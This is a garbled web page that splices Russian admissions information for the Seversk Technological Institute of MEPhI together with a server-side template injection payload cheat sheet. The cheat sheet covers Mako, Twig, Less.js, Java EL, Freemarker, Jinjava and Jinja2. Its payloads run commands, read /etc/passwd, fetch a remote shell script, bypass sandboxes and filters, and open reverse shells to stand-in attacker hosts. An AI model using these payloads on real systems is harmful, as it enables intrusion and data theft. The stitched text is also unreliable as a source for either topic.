Как поступить в сти?
Содержание:
- Сроки приема документов на 2021/2022 учебный год:
- Mako
- Документы необходимые для поступления:
- Специальность: 18.05.02 «Химическая технология материалов современной энергетики» Специализация: «Химическая технология материалов ядерного топливного цикла»
- Дорогие абитуриенты! Уважаемые родители!
- Twig
- Lessjs
- Expression Language EL
- Java
- Freemarker
- Jinjava
- Jinja2
Сроки приема документов на 2021/2022 учебный год:
15 июня – начало приема документов в бакалавриат/специалитет;
16 июля – завершение приема документов, необходимых для поступления, от лиц, поступающих на обучение по результатам вступительных испытаний, проводимых НИЯУ МИФИ самостоятельно;
29 июля – завершение приема документов от поступающих на обучение без прохождения вступительных испытаний, проводимых НИЯУ МИФИ самостоятельно, в том числе от поступающих без вступительных испытаний; завершение вступительных испытаний, проводимых НИЯУ МИФИ самостоятельно;
2 августа — публикация конкурсных списков;
4 августа — завершение приема заявлений о согласии на зачисление БВИ, на места в пределах особой квоты и целевой квоты;
6 августа — издание приказов о зачислении лиц, поступающих БВИ, на места в пределах особой квоты и целевой квоты;
11 августа — завершение приема заявлений о согласии на зачисление на основные конкурсные места ;
17 августа — издание приказов о зачислении на основные конкурсные места
21 августа — завершение приема документов поступающих на обучение по договорам об оказании платных образовательных услуг, проходящих вступительные испытания;
27 августа — завершение приема документов поступающих на обучение по договорам об оказании платных образовательных услуг, при наличии сданных вступительных испытаний.
Зачисление на платное обучение проводится после завершения вступительных испытаний до дня начала учебного года (до 31 августа)
Сроки проведения приема на обучение в рамках контрольных цифр по программам магистратуры:
срок начала приема документов, необходимых для поступления, – 17 мая;
срок завершения приема документов, необходимых для поступления, – 31 июля;
срок завершения вступительных испытаний – 6 августа;
день завершения приема заявлений о согласии на зачисление от лиц, подлежащих зачислению — 10 августа;
издание приказа (приказов) о зачислении на бюджет — 12 августа;
Сроки проведения приема на обучение по договорам об оказании платных образовательных услуг:
По программам бакалавриата, программам специалитета:
срок начала приема документов, необходимых для поступления, – 15 июня;
срок завершения приема документов, необходимых для поступления от поступающих, проходящих вступительные испытания — 21 августа;
срок завершения вступительных испытаний – 27 августа;
завершение приема документов у поступающих при наличии сданных вступительных испытаний – 27 августа публикация конкурсных списков – 28 августа;
день завершения приема заявлений о согласии на зачисление от лиц, подлежащих зачислению, — 29 августа;
издание приказа (приказов) о зачислении — 31 августа.
Mako
<% import os x=os.popen('id').read() %> ${x}
Direct access to os from TemplateNamespace:
Any of these payloads allows direct access to the module
${self.module.cache.util.os.system("id")} ${self.module.runtime.util.os.system("id")} ${self.template.module.cache.util.os.system("id")} ${self.module.cache.compat.inspect.os.system("id")} ${self.__init__.__globals__.os.system('id')} ${self.template.module.runtime.util.os.system("id")} ${self.module.filters.compat.inspect.os.system("id")} ${self.module.runtime.compat.inspect.os.system("id")} ${self.module.runtime.exceptions.util.os.system("id")} ${self.template.__init__.__globals__.system('id')} ${self.module.cache.util.compat.inspect.os.system("id")} ${self.module.runtime.util.compat.inspect.os.system("id")} ${self.template._mmarker.module.cache.util.os.system("id")} ${self.template.module.cache.compat.inspect.os.system("id")} ${self.module.cache.compat.inspect.linecache.os.system("id")} ${self.template._mmarker.module.runtime.util.os.system("id")} ${self.attr._NSAttr__parent.module.cache.util.os.system("id")} ${self.template.module.filters.compat.inspect.os.system("id")} ${self.template.module.runtime.compat.inspect.os.system("id")} ${self.module.filters.compat.inspect.linecache.os.system("id")} ${self.module.runtime.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.exceptions.util.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.util.os.system("id")} ${self.context._with_template.module.cache.util.os.system("id")} ${self.module.runtime.exceptions.compat.inspect.os.system("id")} ${self.template.module.cache.util.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.util.os.system("id")} ${self.module.cache.util.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.util.compat.inspect.os.system("id")} ${self.module.runtime.util.compat.inspect.linecache.os.system("id")} ${self.module.runtime.exceptions.traceback.linecache.os.system("id")} ${self.module.runtime.exceptions.util.compat.inspect.os.system("id")} ${self.template._mmarker.module.cache.compat.inspect.os.system("id")} ${self.template.module.cache.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")} ${self.template._mmarker.module.filters.compat.inspect.os.system("id")} ${self.template._mmarker.module.runtime.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")} ${self.template._mmarker.module.runtime.exceptions.util.os.system("id")} ${self.template.module.filters.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")} ${self.context._with_template._mmarker.module.cache.util.os.system("id")} ${self.template.module.runtime.exceptions.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")} ${self.context._with_template.module.cache.compat.inspect.os.system("id")} ${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")} ${self.context._with_template._mmarker.module.runtime.util.os.system("id")} ${self.context._with_template.module.filters.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.exceptions.util.os.system("id")} ${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
PoC :
>>> print(Template("${self.module.cache.util.os}").render()) <module 'os' from '/usr/local/lib/python3.10/os.py'>
Документы необходимые для поступления:
- документ об образовании;
- документ, удостоверяющий личность поступающего (паспорт);
- ИНН, СНИЛС;
- фотографии 6 шт 3х4; (абитуриенты, подающие документы в г. Северске, могут сфотографироваться в приемной комиссии СТИ)
- документы, дающие права на льготы, установленные законодательством РФ (для лиц, претендующих на указанные льготы);
- справка о прохождении медицинского осмотра (на специальность 14.05.04 Электроника и автоматика физических установок и направления подготовки; 14.04.02 Ядерные физика и технологии (бакалавриат, магистратура));
- документы, подтверждающие индивидуальные достижения (по усмотрению поступающего).
Специальность: 18.05.02 «Химическая технология материалов современной энергетики» Специализация: «Химическая технология материалов ядерного топливного цикла»
Квалификация |
Форма обучения |
Срок обучения |
Количество бюджетных мест |
Вступительные испытания в форме ЕГЭ (тестирования) |
инженер |
очная |
5,5 лет |
25 |
Математика (профильный), Русский язык, Химия |
Образовательный стандарт в формате pdf (подробнее).
Химическая и ядерно-химическая технология относятся к числу приоритетных направлений развития науки технологий и техники Российской Федерации и по темпам своего развития намного опережают другие отрасли.
Для работы на всех отраслевых предприятиях необходимы инженеры-химики, специализирующиеся в области химической и радиохимической технологий, разбирающиеся в методах и процессах переработки природного сырья и отработавшего ядерного топлива.
Для организации учебного процесса на кафедре «Химия и технология материалов современной энергетики» СТИ НИЯУ МИФИ был создан коллектив преподавателей, имеющих большой опыт научной и практической деятельности в области химии, радиохимии, радиохимической технологии и радиоэкологии. В учебном процессе участвуют не только штатные преподаватели, но и высококвалифицированные специалисты Сибирского химического комбината. Некоторые занятия проводятся по сетевой форме обучения.
Обучение включает специальные дисциплины, связанные с будущей профессией, которые проходят в современных учебных и учебно-исследовательских лабораториях.
Аннотации рабочих программ в формате pdf.
Дорогие абитуриенты! Уважаемые родители!
Документы на все формы обучения принимаются с 15 июня 2021 года, тел. (3823) 780-131, 780-132.
Для подачи заявления необходимо зарегистрироваться в информационной системе https://org.mephi.ru. Согласие на зачисление
Этапы поступления
1) Ознакомьтесь с Правилами приема на обучение по образовательным программам высшего образования — программам бакалавриата и специалитета на 2022/2023 учебный год. Это поможет вам сэкономить время и избежать ошибок при подаче заявления и необходимых документов. https://admission.mephi.ru/content/public/uploads/documents/mephi_rules_2022.pdf
2) Выберите направление подготовки\специальность Специальности и направления Это поможет определить свои приоритеты при поступлении.
3) Запомните сроки проведения приёмной кампании. Это поможет своевременно подать документы и отслеживать ход приемной кампании.
4) Выберите способ подачи документов:
1. Представляются в СТИ НИЯУ МИФИ лично поступающим (636036, Сибирский федеральный округ, Томская область, г. Северск, пр. Коммунистический, 65)
2. Направляются через операторов почтовой связи (Документы направляются поступающим по почте почтовым отправлением с уведомлением о вручении и описью вложения по адресу: 636036, Томская обл., г. Северск, проспект Коммунистический, дом 65 Северский технологический институт НИЯУ МИФИ (СТИ НИЯУ МИФИ), приемная комиссия)
3. Направляются в СТИ НИЯУ МИФИ в электронной форме посредством электронной информационной системы НИЯУ МИФИ (https://org.mephi.ru)
5) Наблюдайте за ходом приёмной кампании. Отслеживайте количество поступающих в рейтинговых списках. https://org.mephi.ru/pupil-rating/index/osp/7 Это поможет вам быстро сориентироваться в сложившейся конкурсной ситуации.
Twig
Twig — Template format
$output = $twig > render ( 'Dear' . $_GET, array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) );
Twig — Code execution
{{self}} {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}}
POST subscribe?=cat+/etcpasswd HTTP1.1 email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
Lessjs
Plugins
Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.
// example local plugin usage @plugin "plugin-2.7.js";
or
// example remote plugin usage @plugin "http://example.com/plugin-2.7.js"
version 2 example RCE plugin:
functions.add('cmd', function(val) { return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`; });
version 3 and above example RCE plugin
//Vulnerable plugin (3.13.1) registerPlugin({ install: function(less, pluginManager, functions) { functions.add('cmd', function(val) { return global.process.mainModule.require('child_process').execSync(val.value).toString(); }); } })
Expression Language EL
Expression Language EL — One-Liner injections not including code execution
// DNS Lookup ${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")} // JVM System Property Lookup (ex: java.class.path) ${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
Expression Language EL — Code Execution
// Common RCE payloads ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRINGARRAY>) ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors().newInstance(<COMMAND ARRAYLIST>).start() // Method using Runtime #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} // Method using processbuilder ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")} // Method using Reflection & Invoke ${"".getClass().forName("java.lang.Runtime").getMethods().invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")} // Method using ScriptEngineManager one-liner ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} // Method using ScriptEngineManager ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
Java
Java — Basic injection
${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()}
Java — Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Freemarker
Freemarker — Read File
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")} Convert the returned bytes to ASCII
Freemarker — Code execution
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} ${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")}
Freemarker — Sandbox bypass
️ only works on Freemarker versions below 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")}
Jinjava
Jinjava — Basic injection
{{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com..context.TemplateContextRequest@23548206
Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/
Jinjava — Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Jinja2
Jinja2 — Basic injection
{{4*4}}] {{7*'7'}} would result in 7777777 {{config.items()}}
Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on a Flask application.
Jinja2 — Template format
{% extends "layout.html" %} {% block body %} <ul> {% for user in users %} <li><a href="` user`.`url `">{{ user.username }}<a><li> {% endfor %} <ul> {% endblock %}
Jinja2 — Debug Statement
If the Debug Extension is enabled, a tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
<pre>{% debug %}<pre>
Jinja2 — Dump all used classes
{{ [].class.base.subclasses() }} {{''.class.mro().subclasses()}} {{ ''.__class__.__mro__.__subclasses__() }}
Jinja2 — Read remote file
# ''.__class__.__mro__.__subclasses__() = File class {{ ''.__class__.__mro__.__subclasses__()('/etc/passwd').read() }} {{ config.items().__class__.__mro__.__subclasses__()("/tmp/flag").read() }} # https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398 {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Jinja2 — Write into remote file
{{ ''.__class__.__mro__.__subclasses__()('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Jinja2 — Remote Code Execution
Listen for connection
nc -lnvp 8000
Exploit the SSTI by calling os.popen().read()
These payloads are context-free, and do not require anything, except being in a jinja2 Template object:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
We can use these shorter payloads (this is the shorter payloads known yet):
{{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }}
Exploit the SSTI by calling subprocess.Popen
️ the number 396 will vary depending of the application.
{{''.__class__.mro().__subclasses__()('cat flag.txt',shell=True,stdout=-1).communicate()[].strip()}} {{config.__class__.__init__.__globals__.popen('ls').read()}}
Exploit the SSTI by calling Popen without guessing the offset
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
Exploit the SSTI by writing an evil config file.
# evil config {{ ''.__class__.__mro__.__subclasses__()('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host {{ config('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Jinja2 — Filter bypass
request.__class__ request
Bypassing
http://localhost:5000?exploit={{request|attr(|join)}}&class=class&usc=_ {{request|attr(|join)}} {{request|attr(|join)}} {{request|attr(|join)}} {{request|attr("__class__")}} {{request.__class__}}
Bypassing and
http://localhost:5000?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_ or http://localhost:5000?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
Bypassing
http://localhost:5000?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}